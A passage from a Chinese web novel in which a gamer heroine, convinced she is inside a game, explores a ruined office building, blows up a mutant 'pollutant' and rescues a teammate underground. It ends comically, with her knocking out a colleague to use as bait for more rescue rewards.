这营地应当是团队到来之后才搭建的，但麻雀虽小，五脏俱全，总之朝晖大摇大摆下车后就发现他们在烹饪早餐，一股诱人的香气传来，便很是不客气地把脑袋凑过去：“我的在哪呀？”
颜队长：“……”
俗话说，一鼓作气，再而衰，三而竭。昨晚她本来是很生气的，结果朝晖就这么安安稳稳睡了一路，没有再作出任何扰民行为。
早上本想叫她起来，她却是睡得像一头死猪，被异能者大哥提着领子摇了半天依旧纹丝不动，那张漂亮的小脸蛋看起来如此安逸，像是在做美梦。
于是颜队长那股气不知怎么就消去了，甚至觉得有点想笑。
她好像忽然有几分理解了姜瑶，可能人类对这种虽然会闯祸、但莫名还有点可爱的东西就是这么的有耐心吧。
她把食物递给朝晖。
玩家吃了一口……全吐了。
“系统！！我要投诉！！为什么闻起来这么香吃起来这么恶心啊，能不能给玩家设计一些正常的美食？你们的味觉系统明明就做得很好！”
“……这是行军必备的高能量营养罐头，价格很贵的……”系统无力地解释。
“很有营养吗？这样吧，来，小李，你吃。”朝晖把剩下的东西全给了李长庚。
好在小弟不嫌弃味道不好，正是长身体的年纪，呼噜噜地就吃光了。
颜队长：……
她终于发出了从来没有人问过玩家的一个问题：“你不吃饭，怎么能行？等会儿行动的时候会没有体力的。”
“不会的，我精力值回满了。”
玩家转头就走，想要去新地图转一圈。
常玩游戏的人都知道，一般开了新地图之后，理应能找到一些新任务、新线索、新故事等等。
尤其是像“封锁区深处营地”这样处于“战争前线”的地图，没有传送阵朝晖也就忍了，总得有点儿什么怪物商人啊，探索任务啊之类的吧？
结果没有，一个也没有，这些npc全是车队上的npc，自然不会触发任何任务。
朝晖觉得很失望，但很快打起精神来，因为她发现周遭的景色已经与封锁区边缘不太一样了。
封锁区边缘荒凉一片，除了建筑残渣和风沙之外，空无一物。可现在他们所在营地的周围，却是有一些看起来完好无损的大楼。
它们破败萧索，但没有倒塌，没有被拾荒者拆得七零八落。岁月在它们身上覆盖一层厚厚的尘埃，可从那狰狞粗壮的骨骼中仍旧能一窥它们过去的辉煌光景。
也许几十年前，这里是一座繁华的城市，高楼林立，彻夜灯明。
“这栋楼好像我老妈的公司啊，应该是写字楼吧。”朝晖说着，就想翻过营地周围用车和折叠器械围成的简陋防护带，李长庚连忙跟上。
异能者大哥想冲过去把朝晖薅回来，忽然被颜队长拉住。
“？”他有些不解。
颜队长想了想，解释道：“算了，其实我觉得姜局对她的性格应该心里有数，她和那狼人两个加起来也不弱，与其一直花精力去看着她，还不如让她出去玩一会儿。附近这一片都挺安全的，没什么大问题。
“我感觉她就像小狗似的，非得要出去溜溜，不然就浑身难受。”
“……行吧，我只是担心姜局怪罪到你头上。”
异能者大哥原本很想教训朝晖一顿，让她明白人外有人，天外有天，不要仗着自己是异能者就嚣张跋扈，不服从组织安排。
基本上，这也是每一位异能者在参与安全局任务之前必须经历的过程。
但朝晖目前为止表现得就像一坨棉花，还是手感黏糊糊很恶心的那种。你想揍她吧，她好像都没察觉到似的，让人有点难以下手；你一生气吧，她又忽然乖乖地不作了，叫人产生一种非常无语的感觉。
颜队长仔细斟酌了一番姜局长交代她的原话。
“你看着她，别闯祸就行。”姜瑶如此说道。
什么样叫做闯祸？
颜队长觉得这句话当中的意思，仿佛是朝晖会去祸害别人一样。
这封锁区深处荒凉一片，除了他们这样的官方队伍，没有人会找死跑过来。
那么把朝晖放出去溜溜，应该不会祸害到什么人吧……
朝晖顺利进入写字楼，这地方倒不是荒无人烟，毕竟安全局团队时常来这附近驻扎，周围都搜过无数遍，绝对没有危险。
布满积年尘埃的地上有一些脚印痕迹，朝晖穿过荒凉的大广场，这里也许曾经是一个停车场，由于没有拾荒者来探索，甚至还保留着几辆汽车，不过都已经破败得不成样子了。
“奥迪A6？”朝晖艰难地辨认出一辆车的型号，没想到制作组还是用了现实的车型，不过是放在了封锁区里。
封锁区就像一座坟墓，保留了几十年前的“古代城市”的模样，而洛川这个游戏主要场景，显然是一座架空未来的城市。
玩家试图撬开车门，没想到一个用力，一阵尘土簌簌而下，那车门直接被她掰了下来。
里面的方向盘、仪表等设备也早已变得发脆，一碰就碎。
唉，她还以为自己能发现一个bug，从封锁区里薅车子呢！
抛下车子不管，她穿过广场来到写字楼大门前，玻璃门已经碎得干干净净，地上的渣滓似乎被人扫走了。
“最早的探索者应该就是住在这些大楼里。”李长庚忽然说。
“哦？”朝晖示意他接着说下去。
“我听贫民区异能者联合会的人说过，老一辈的年代，有很多人觉醒异能之后就想去封锁区探索，然而最终他们大都失踪了，再也没有回来。”李长庚道，“那时候还不叫封锁区，叫什么禁区吧。”
“据说战后异能者的数量非常多，他们联手参与了新城市的建设，后来就越来越少了。”
“战后？什么站？”玩家迷茫。
“……三战。”李长庚没想到老板比他这个没上过学的人还要文盲。
“啊，果然是核战争设定。”朝晖没有任何意外地点点头。
她对这种背景设定不是很感兴趣，相比较来说她更喜欢战斗，或者积攒资源、探索场景之类的玩法。
要不是为了任务，她才懒得去研究这些。
看来游戏设定內没有“核辐射”这样的说法，能源他们就叫晶石，核辐射就叫污染。<
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但少量核辐射对普通人的伤害也很大，这里的污染却是和现实有所不同，应该是以核辐射为素材的一种架空设定而已。
“这些信息对我做任务没什么帮助。”她有些纳闷，难道那位姬姚姐是传奇耐辐射王，越到封锁区深处，反而越精神？
“算了，不管了，先探索探索，说不定就有线索呢。”朝晖想。
她还是觉得游戏不会无缘无故开一张没用的地图，那不是闲得没事吗。
大楼内虽然残破，却也能从边边角角看出以前的痕迹，地上铺设米白色的大理石地板，前台的桌子也是高级木材。朝晖擦掉灰尘，看见墙上几个模糊不清的字：……行……公……
也许是大楼的名字吧。
电梯井早已报废，朝晖轻松搬开楼梯口堆积的东西，向上攀爬。
那些东西可能是防止污染物袭击的简单防护。
一个个办公间，和她现实中工作的地方很像。
到十几层的地方有一家餐厅，收拾得相当整洁，还有不少人类生活过的痕迹，也许多年前的探索者前辈们来到封锁区深处，就是居住在这里。
这里有很多垃圾袋，有些打包好了，有些则被翻开，不过已经许多年没有人再动过它们，上面也是厚厚一层积灰。
安全局员工只会排查危险，但不至于把垃圾都捎走。
朝晖不辞辛苦地把那些打包好的垃圾袋一个个全打开，毕竟能交互必有其用处，哪怕垃圾也是如此，玩家一向如此坚信着。
李长庚似乎是被她这种翻垃圾的精神所感动，吸了吸鼻子加入其中。
好在这些垃圾袋的年纪基本都比李长庚还要大，容易产生不好气味的有机物早已经分解干净了，剩下的味道并不是太难闻。
“诶？”朝晖打开一个新包裹的时候，任务提示忽然跳了。
【姬姚：进度1/100】
果然！她就说肯定没有没用的场景嘛！
这垃圾袋看起来也是很破旧，但颜色与其他略有不同，似乎并不是同一批次。
她打开看了看，里面是一些发黑的衣物碎片，像是衣服沾染到了黑色液体一样，弄得很脏。
衣服碎片的最里面包裹着一个旧款手机。
“这还能开吗？”她看了眼李长庚。
小弟一直背着包，里面是他们俩的换洗衣服以及一些简单行李物品。他很快从里面找出一个充电宝，可以适配大部分电子产品进行无线充电。
很遗憾的是，不知道是坏了还是型号不适配，这个手机没办法充电。
“如果真是姬姚的手机，那当年局长肯定也搜过这一片，毕竟他看起来对她还挺重视的，怎么会找不到呢。”朝晖想。
可任务进度又实实在在地跳了，衣服碎片看起来也是女款，上面的黑色污渍很有可能就是姬姚留下的血迹。
朝晖不禁想到一个可能性，那就是这个垃圾袋或许不是姬姚刚进入封锁区时留下的。
她逃入深处，潜藏一段时间后，因为知道这片地方是安全局探索过的区域，比较安全，所以回到了这里居住。
临走前，不知为何，她把旧衣服和手机留在了这里。
就像是在和过去道别一样。
84.红星科技（5）
以上均为朝晖的猜测，任务描述没有任何的变化。
朝晖想了想，把旧手机放进背包。或许它也能作为线索，在某些时候派得上用场。
虽然游戏没有给她背包，但玩家尝试后发现，显然小弟可以替代这部分功能。
既然招募的员工也可以当作外置背包来使用，那么就暂时没有投诉的必要了。
她在小本本上记录：“招募力气大、负重高的员工至少一名，最好有一定战斗力，再让ta跟随，就可以替代背包使用。如果该员工还拥有变身大型动物的异能则更佳，可以同时作为坐骑。
注意：游戏前期，在男主李长庚幼年时期招募他，就可以获得最佳人选！亲测好用！”
这也是她新想到的点子。《逐梦演艺圈》有很多bug或者缺点，但总体来讲朝晖依旧认为它很好玩，以后一定会火。
到时候她就把这些心得体会作为“攻略”发到她以前经常去的论坛上，然后获得积分，成为“论坛大佬”。
记录完毕后，她又从上到下把整栋大厦翻了一遍，可惜能交互的东西并不是很多，有价值的物品也就只有那个手机。
几个小时后颜队长来找她，看见的就是灰扑扑像是被丢进沙尘暴里洗礼过一番的朝晖。
“我们的探索小队已经准备完毕，马上就要离开营地往深处走了，你跟着我们吧？”颜队长用商量的语气道。
“哦哦。”
朝晖从善如流，提出建议：“队长，高阶异能者是不是可以吸引到污染物啊？”
“……我们观察到过类似的现象，但由于数据过少，学术界暂时没有办法证明这一观点。”颜队长说，“至少需要S级或者更厉害的异能等级，才会有这样的效果，但是S级异能者是很稀少的，也很少会冒着风险来到封锁区。”
S级异能者非常强大，不管到哪里都会被奉为上宾，没必要加入安全局的巡逻队，苦哈哈地生活。
毕竟，现在污染物已经比较少见了。对于他们这些巡逻队成员，大部分时间都耗在了无聊的“巡逻”上，真正遇到战斗是很少的，可能一两个月才会有一次。
“这不巧了嘛，他就是S级，就把他放在第一辆车上面引怪吧！”朝晖马上拍拍小弟的肩膀。
“……？”颜队长仔细回忆，实在不记得姜瑶有没有说过这件事。
……S级的异能者是大白菜吗？为什么朝晖随随便便就能找来一个？
但是他们现在没有检验异能等级的仪器，颜队长想了想，觉得这样做也没什么问题，不管有没有效果。
第一辆车负责开路，上面也安装有一些仪器、武器，还有颜队长以及两名比较厉害的异能者搭乘，正好能看着朝晖不让她乱跑。
车上安装着雷达的设备，能够检测“污染物波动”——就像异能者一般，污染物也会散发出一种波动，只不过和异能者身上的不太一样，而且波动比较微弱，需要到近距离才能检测到。
污染物以晶石为食，所以有污染物的地方大都伴随有废弃的晶石堆。
朝晖现在知道了，所谓的“封锁区里的宝物”应该就是高单位等级的晶石，它们很难被检测到，但是人类追随着污染物的脚步就有可能找到一些。
安全局的队伍巡逻时如果遇到了有价值的晶石，自然也是不会放过。但这么多年来，晶石总会源源不断地产生，并被污染物作为食物携带着传播到封锁区各处。
颜队长的说法是：“深处肯定有晶石矿，但那里的污染已经不容许任何人类接近，哪怕机器去到那种地方，零件也会全部损坏，失去联系。”
朝晖心道：“根据游戏尿性，姬姚十有八九就藏在晶石矿附近。”
两小时后，他们真的遇到了一只鬼鬼祟祟的污染物。
污染物可没有什么“白天不出来活动”的设定。它们也没有什么理智，就像精神失常了一样，除了吃就是到处游荡。
“都别动！不然别怪我不客气了！”朝晖一看见污染物立刻大吼一声。
“……？”
颜队长正准备呼叫全员警戒，被她吼得一愣。
就见朝晖化作一道肉眼看不清的影子，如飓风一般卷下车，迫不及待地向着那污染物跑去。
脚步之急迫，恍如一位饿了十天的难民瞧见一只金灿灿的大鸡腿。
朝晖左手从腰间卫生纸上撕下一片，正正贴在右手悄然摸出的魔法少女卡牌之上。下一刻，她接近了污染物，那污染物见状有些犹疑，原本向着第一辆车的步伐暂且停下。
这污染物并不是很强大，但是长得依旧是那么的恶心，反正就是各种变异溃烂的肢体组装在一起，她也不太想去辨认那是什么部位。
“危险！！”颜队长顾不上骂她，立刻拿出对讲机通知所有队伍成员，准备战斗、救人！
不管是普通人还是异能者，对付污染物第一要义都是保持距离，随后上重火力。
异能者比普通人身体素质更好，他们巡逻队也没有经济条件，能随时带着战斗机或者坦克大炮进入封锁区。
因此，遇见污染物时采取的策略便是“围猎”：
车队围堵污染物，再祭出南无加特林菩萨，将污染物进行物理超度。
这些受过训练的异能者堪比人类当中最顶尖的特种兵，能够用最小的经费最大程度解决敌人。
如果意外遇袭，不得不与污染物近距离作战，那么就得想尽办法通过骚扰、轮换等方式与其拉开距离，绝不能近距离待太久。
由于他们的异能都比较强力，其中也不乏类似于余烬的那种高攻击型，总体上还是能够对污染物形成碾压之势。
当然，团队这么些年来，也有不少遇袭后被污染物影响，最终异化而死的烈士。
所以颜队长焦急万分，其他异能者也顾不上骂朝晖了，第一反应还是先救人。
结果，就见朝晖掏出一张纸巾，像是嫌脏一般抹了那么几下，然后就开始揉面团似的搓来搓去。
几十根粗制滥造的长箭浮现在空中，一个“万箭齐发”，在所有人反应过来之前，就将污染物扎成了刺猬！
虽然对它并未造成毁灭性打击，却也成功让其陷入僵直，无法动弹。
然后，几十颗劣质炸弹凭空出现，被朝晖全部塞进了污染物的肚子里。
“——砰砰砰！！”
污染物变成了一坨辨认不出的碎片。
这一切发生得如此之快，简洁，高效，轻松。女孩将那些恶心的尸体碎片甩开，随意抹了把脸，表情依旧是那么轻松惬意，看不出任何变化。
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>“哼，我就知道这些npc会跟我抢怪，还好我动作快……局长的异能真挺好用，杀起污染物不输男主。”
朝晖得意洋洋地清点起日常任务【清理污染物】的各种奖励。
不仅有丰富的经验和金钱，还有能源以及抗污染点数！
想到这儿，她恨不得一直住在封锁区，天天抓着这些安全局的人带她去找怪算了。
“走吧，愣着干什么，继续找呀！”朝晖一回头，看见了一大片目瞪口呆的人。
开车的异能者解释：“……要把尸体处理干净再出发。”
“哦，不需要我来弄吧？”朝晖说着就原地一蹲，继续完善她那份“内测人员攻略”。
“……你的异能……”颜队长眼角抽搐。
这一整支异能者队伍里，唯有她知道“局长拥有异能”这个秘密，也见过局长使用异能的样子。
虽然朝晖的用法和局长有些不同之处，但……她有一种直觉，朝晖应该就是复制了局长的异能！
怎么会……？
局长根本就不管封锁区巡逻的事啊！而且，朝晖不是姜副局长的人吗？
可她又没办法说出来，万一朝晖只是使用了一种类似于局长异能的能力，那她岂不是违背了保密协议？
颜队长感觉抓心挠肝地难受，但团队中其他人就没有如此纠结了。
“卧槽，秒杀？”异能者大哥惊了，“复制系异能者，能复制出这么强的能力？你又是在哪里接受的训练？”
他和姬越的脑回路有所重叠，那就是在普遍的认知当中，复制型异能者会受到许多限制，看似变化多端，实则有些鸡肋。
此外，有句古话说得好，狭路相逢勇者胜。面对敌人一旦产生了犹豫之心，那么即便自身实力不凡，也可能会落于下风。
虽然这只污染物并不算强大，但朝晖迅捷如风的行动，果敢无畏的精神，一击必杀的实力，都不禁令人震撼。
这会儿后面的车才刚接到颜队长发送的通知，正减慢车速围过来，结果还没靠近呢就发现怪都已经死得找不出一块完好的躯体了。
“厉害啊！”
“你能复制我的能力看看吗？”
第一辆车上另外两个异能者纷纷感兴趣地凑过来。
“滚！要玩回去再玩，现在继续任务。”
颜队长把这些不省心的队员薅回去，又将朝晖提上车，缓缓开动，与其他汽车围绕成警戒的队形。
至于污染物的尸体残渣，他们有专门的一辆后勤车辆负责清理打扫，其他的车辆在此期间需要负责观察四周，排查危险。
不知让她是喜是忧的是，朝晖没有搭理跟她搭话的异能者，非常专心致志地盯着自己面前的空气，口中念念有声，也不知道在说些什么。
颜队长很快把注意力收回，心道：“也不知是巧合，还是那个叫李长庚的小家伙真的是S级异能者。这片地区应该遇不到太多污染物才对……”
“滴滴滴——”刺耳的警报声响起。
“警戒！警戒！”
颜队长一个激灵，立刻拿起对讲机，里面传来队员们焦急万分的声音，“地下有东西！地层对雷达的干扰很大，我们没有能及时探测到波动，后勤队的一名成员被拖进去了！拖进地下的洞里！！”
85.红星科技（6）
地下？
封锁区的前身就是大片的城市，这些城市的地下密布排水管道以及地铁线路等，但这么多年来，由于地上战争、多年不曾维护等原因，早已坍塌得七七八八，根本无法通行。
污染物的确有从地下袭击的可能性，但极少在距离人活动区域这么近的位置。
这附近的地下，不仅没什么晶石作为食物来源，还时不时的就有人类过来巡逻一波，又是杀怪（？）又是抢劫的，污染物虽然脑子傻，但也是有着生物的生存本能。
只有那些即使巡逻队也很少会去的地方，它们才有可能花费大力气去清理一片地下区域，当作自己的临时巢穴。
也是在那种地方，巡逻队伍才需要去注意地下的安全。
当然，如果有运气好的人类发现了这些小巢穴，十有八九能够找到高品级的晶石，都是污染物辛辛苦苦储存在里面的。
要是能活着离开，就能发上一笔大财。
不过颜队长虽然惊讶，倒也是十分镇定，立刻有条不紊地下达起命令：“第一小队，准备进入地下隧道；第二小队，寻找附近的其他地下入口；第三小队，准备好爆破装置；第四小队、第五小队补充位置，围好警戒圈……”
大家都是异能者，不至于被污染物一个照面就秒了。那个被拖走的异能者虽然是后勤队成员，战斗力也并不低。
他们需要争分夺秒，追上那只污染物，被抓走的队友在此期间也会想办法挣扎求生的。
把各项任务分发下去后，颜队长回过头，想着朝晖和那个S级小孩虽然名义上是来“观光”，但战斗力也不俗，应该也能派上用场吧……
……不是，人呢？
“报告队长，刚才那姑娘忽然冲过来，然后钻下去了！”一个异能者十分羞愧，指着刚才队友被拖走的地方，“她的动作太快，我们没料到她的行动，没来得及阻止。”
“……？”颜队长好悬没气晕过去。
【限时任务：营救队友】
【营救队友：
虽然你们只相处了短短几个小时，但你依旧不希望看见队友被污染物随意杀害。
营救你的队友。
时间限制：16小时，若队友死亡则任务失败。
奖励：根据营救人数，奖励与之相对应的自选属性点。】
朝晖看见这个任务，口水刷拉拉地就流了下来。
转头一瞧，那人被拖下去的地方，不就是她熟悉的老朋友——下水道口吗？
朝晖自然是接任务，存档，扭头就走，动作行云流水十分熟练。
隐隐约约地，似乎还听见了npc喊她的声音。
“——朝晖！朝晖！”
“你吼那么大声干什么？我这不是来救人了吗？”
朝晖嘀咕着，肌肉猛然发力，使用40点力量扒开地道内阻拦她前进的一切物体，仿佛挖掘机成精，哐哧哐哧地一路向下。
好在这坍塌的下水道没有什么岔路，就那么一条路走到黑，很快朝晖就听见了队友呼救的声音，以及隐隐约约的打斗声。
“坚持住啊！我的属性点！”她忙喊着。
“……呼……呼……”
队友没有回复，只是发出粗重的喘息声。
很快她就看见了这污染物的模样。
好家伙，怪道它能在地底跑得那么快，这东西一前一后各长着一个仿佛钻头般的大脑袋，两张嘴巴里都露出黄澄澄的大板牙，手上长着十几根尖尖的手指，指甲尖锐微卷，十分不符合生物学原理，也不知道是从什么样的生物身上薅下来的部件。
它的身上跟它的同类们一样，也是有许多融合的肢体长在上面，帮助它扒开各种碎石块等物体，所以在坍塌的废墟中能以极快的速度穿梭。
被抓走的异能者此时浑身冒蓝光，正操纵异能努力抵抗着污染物，但从他愈发缓慢的动作、逐渐变粗的喘息声中，显然他已经快支撑不住了。
恐怕过不了多久，他也会变成污染物身上乱舞肢体的一部分。
朝晖担心在地底下用局长异能会引起塌方，或者伤到npc，所以手心一转，另一张魔法少女卡牌出现在了她的手中。
此次出行需要面临艰巨的战斗，她当然从莎莎那里把“机械化”的这张拿了回来。
朝晖看了一眼自己的卫生纸，这卷卫生纸可以说是战功赫赫，现在它已经没剩下几张了。
没关系，等这趟回去，她就有足够的资源去创作一个新道具。
复制好异能，她立刻运用从boss那里学来的技巧，先强化双腿，再强化自己的一只手臂。
强化后的双腿跑起步来简直像在瞬移，“砰”地一声，她一拳势如万钧地锤到污染物面对自己方向的脑袋上。
它的攻势被猛然停滞，脑袋歪开，巨大的身形硬生生向后退去，碎石块、灰尘纷纷而落，引起一片簌簌之声。
趁着这机会，她另一只手把那位可怜的异能者拎起来向后一丢，免得碍事影响她战斗。
然而限时任务并没有任何变动。
“这不算救下他吗？”朝晖疑惑。
难道，一定要把污染物杀死才算？
可是如果用机械化这个异能，一时半会儿的她打不死污染物。
想归想，不影响她对着污染物又是一顿拳打脚踢。污染物也对她还以颜色，龇着那口大黄牙气势汹汹地往她身上啃。
在它为数不多的脑容量当中，只要对人类这么干，对方一般都会不得不退去，露出破绽。之前那个异能者就是如此，急着和它拉开距离，反而容易被它找到进一步攻击的机会。
可惜它永远也不会明白，现在，它所面对的敌人，是一个不惧污染的人。
朝晖事先观察过，安全局这支队伍有一辆车是专门负责医疗救助的，上面有好多好多的药。所以她不怕掉血，不闪不避，污染物措手不及，一时被她打得找不着北。
就在它晕头转向的时候，朝晖忽然一个后蹬腿，转头提起那位没有反应的异能者，撒丫子就跑。
“朝晖！！”
正巧队伍的人已经赶来，全副武装。朝晖忙道：“快，他在这里，赶紧把他带走！”
“你呢？”打头的异能者说。
地道狭窄，他们一个接一个下来的话容易出事故，也不方便撤退，所以现在来的是两个精英成员，其中一个正是那之前提朝晖领子的大哥。
“我？我回去把怪干掉呀！”朝晖说，“快让你们的医生给他治疗，系统，我这任务怎么还不算做完了啊，他不是已经得救了吗？”
“……”
虽然朝晖说了一堆乱七八糟听不懂的话，但人命关天，他们还是立刻回头，把那倒霉伤患往回送。
见他们都走掉，朝晖这才重新提起拳头，对着污染物拳拳到肉，疯狂捶打……
等团队成员从另外一个地下入□□破通路赶来，朝晖已经把本就塌陷的地道又轰了一次。
这下，碎石块都变成了渣渣，她只好灰头土脸头破血流地从地下钻出来。
还好爆破组的人撤得快，不然他们要是被埋进去了，可不像是朝晖这样能自己挖出来。
可惜地道坍塌时，那个滑不溜秋的污染物一溜烟地跑掉了，朝晖没能留下它的性命。
她无心去追，只想回来看看她的属性点到底还活着没。
颜队长看着她的表情十分地复杂。
“伤者呢？他是不是受伤太重了？”朝晖焦急万分。
为什么任务还不算完成啊！
他……他不会死了吧？
她为了这个属性点奖励，都没有去追那只怪！
见到她脸上不似作假的关心，颜队长只好先安抚道：“他近距离接触了污染物，好在及时被救，我们的医生正在努力帮助他……”
朝晖跑过去一瞧，那倒霉蛋躺在担架上，此刻一副浑浑
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噩噩的模样，看起来，有点像之前姬越晕倒的样子。
污染，会对异能者的精神造成影响。
“这个我唱歌会不会有用？”
朝晖立刻点开【海妖之声】，从曲库内随便挑了一首曲子唱起来。
“啊啊啊啊啊～～～哦，啊啊啊啊啊～～哦诶！啊嘶嘚啊嘶嘚，啊嘶嘚咯嘚咯嘚，啊嘶嘚啊嘶嘚咯吺～～～”
“……闭嘴！”昏迷不醒的伤患捂着耳朵痛苦地坐起来。
叮地一声，任务完成了。
“……不是你这个效果也太好了吧？”医生的表情非常之复杂，但顾不上震惊，对着伤患问道：“醒来就好，醒来就好！你还记得你是谁吗？你感觉怎么样？”
伤患满脸痛苦：“我记得我是谁，刚才是谁在唱歌？好震撼的歌声，我的头好痛，感觉要炸了……”
医疗团队的精神系异能者也是一脸懵：“……你，你为什么才唱了两句就把他唱醒了？这是神医啊！！队长，我们医疗团队非常需要这样一位异能者加入我们，这会大大保障我们的安全呀！”
颜队长：“……”
朝晖把他们统统无视掉，若有所思地看着任务界面。
这个限时任务，它还在。
但她刚刚确实完成了一次营救任务，现在界面下多了一行小字：
【营救人数：1，可转化为一个属性点。】
“唔……也就是16个小时内，我救了几个人，就给我几个属性点？最后一起结算？”她问系统。
系统扬声道：“是的，亲爱的玩家，本游戏践行新时代优良价值观，鼓励您与npc之间建立互帮互助的良好关系……”
“哦，我好像懂了……”
朝晖伸出手，从医生身旁的药箱里熟练薅出一把药，塞进嘴里补充血量。
“等等那种药物是注射的不能吃的啊啊啊啊——”医生怒吼。
玩家并不搭理她，她发现姜瑶的任务还没有失败。
也就是说，她救人的话，应该不算违背“听话，乖巧”之类的要求。
人命关天嘛！
“如果救人可以获得奖励，那么最方便快捷的方法，就是把这些npc都推到污染物旁边，让他们陷入险境，再一个个救下来就行了。”玩家若有所思，“嗯，为了防止营救不及时，最好还是一个一个来，人太多了的话要是我没看顾到，不小心被怪给杀掉一个就不好了。”
系统：……？
等一等！我给你发这个任务的目的并不是这样的啊！！
“而且这帮人的武器装备很精良，要不是被偷袭，一般污染物应当是伤不了他们的。这就有点难办了呀……”朝晖想到这儿，忽然眼睛一亮，“刚才那个怪被我重伤，应该还没跑远，我只要追踪着它留下的痕迹，肯定还能找到它。”
“它的实力大降，对我来说也比较好控制。”
想到这儿，朝晖举目眺望，发现身旁就有个人。
此人，正是之前对朝晖出言不逊、试图揍她的异能者大哥。
此时他已经对朝晖有所改观，毕竟对方不顾生死（？）、英勇无畏地救下了他的队友，虽说还是有行事鲁莽、不服管教等毛病，但至少说明她能力强，心不坏。
见朝晖直勾勾盯着他，一时间他都有些不自在了：“怎么了？”
毕竟，玩家的外表看起来还是非常漂亮的少女。
“你身上没带枪吧？”朝晖嘀咕着，“带了也没事，应该派不上用场。”
话音未落，她抬起手来，发动堪比力量型异能者的40点力量，一个手刀下去，大哥软软晕倒在地。
她一把揪住了那位异能者大哥的后脖领，就像提着一袋垃圾那样无比轻松地提走了，速度飞快。
“你们先处理一下，我跟他去追那个污染物，不能被它逃掉了！”
伴随着她远去背影的，还有这么一句话。
其他人：？？？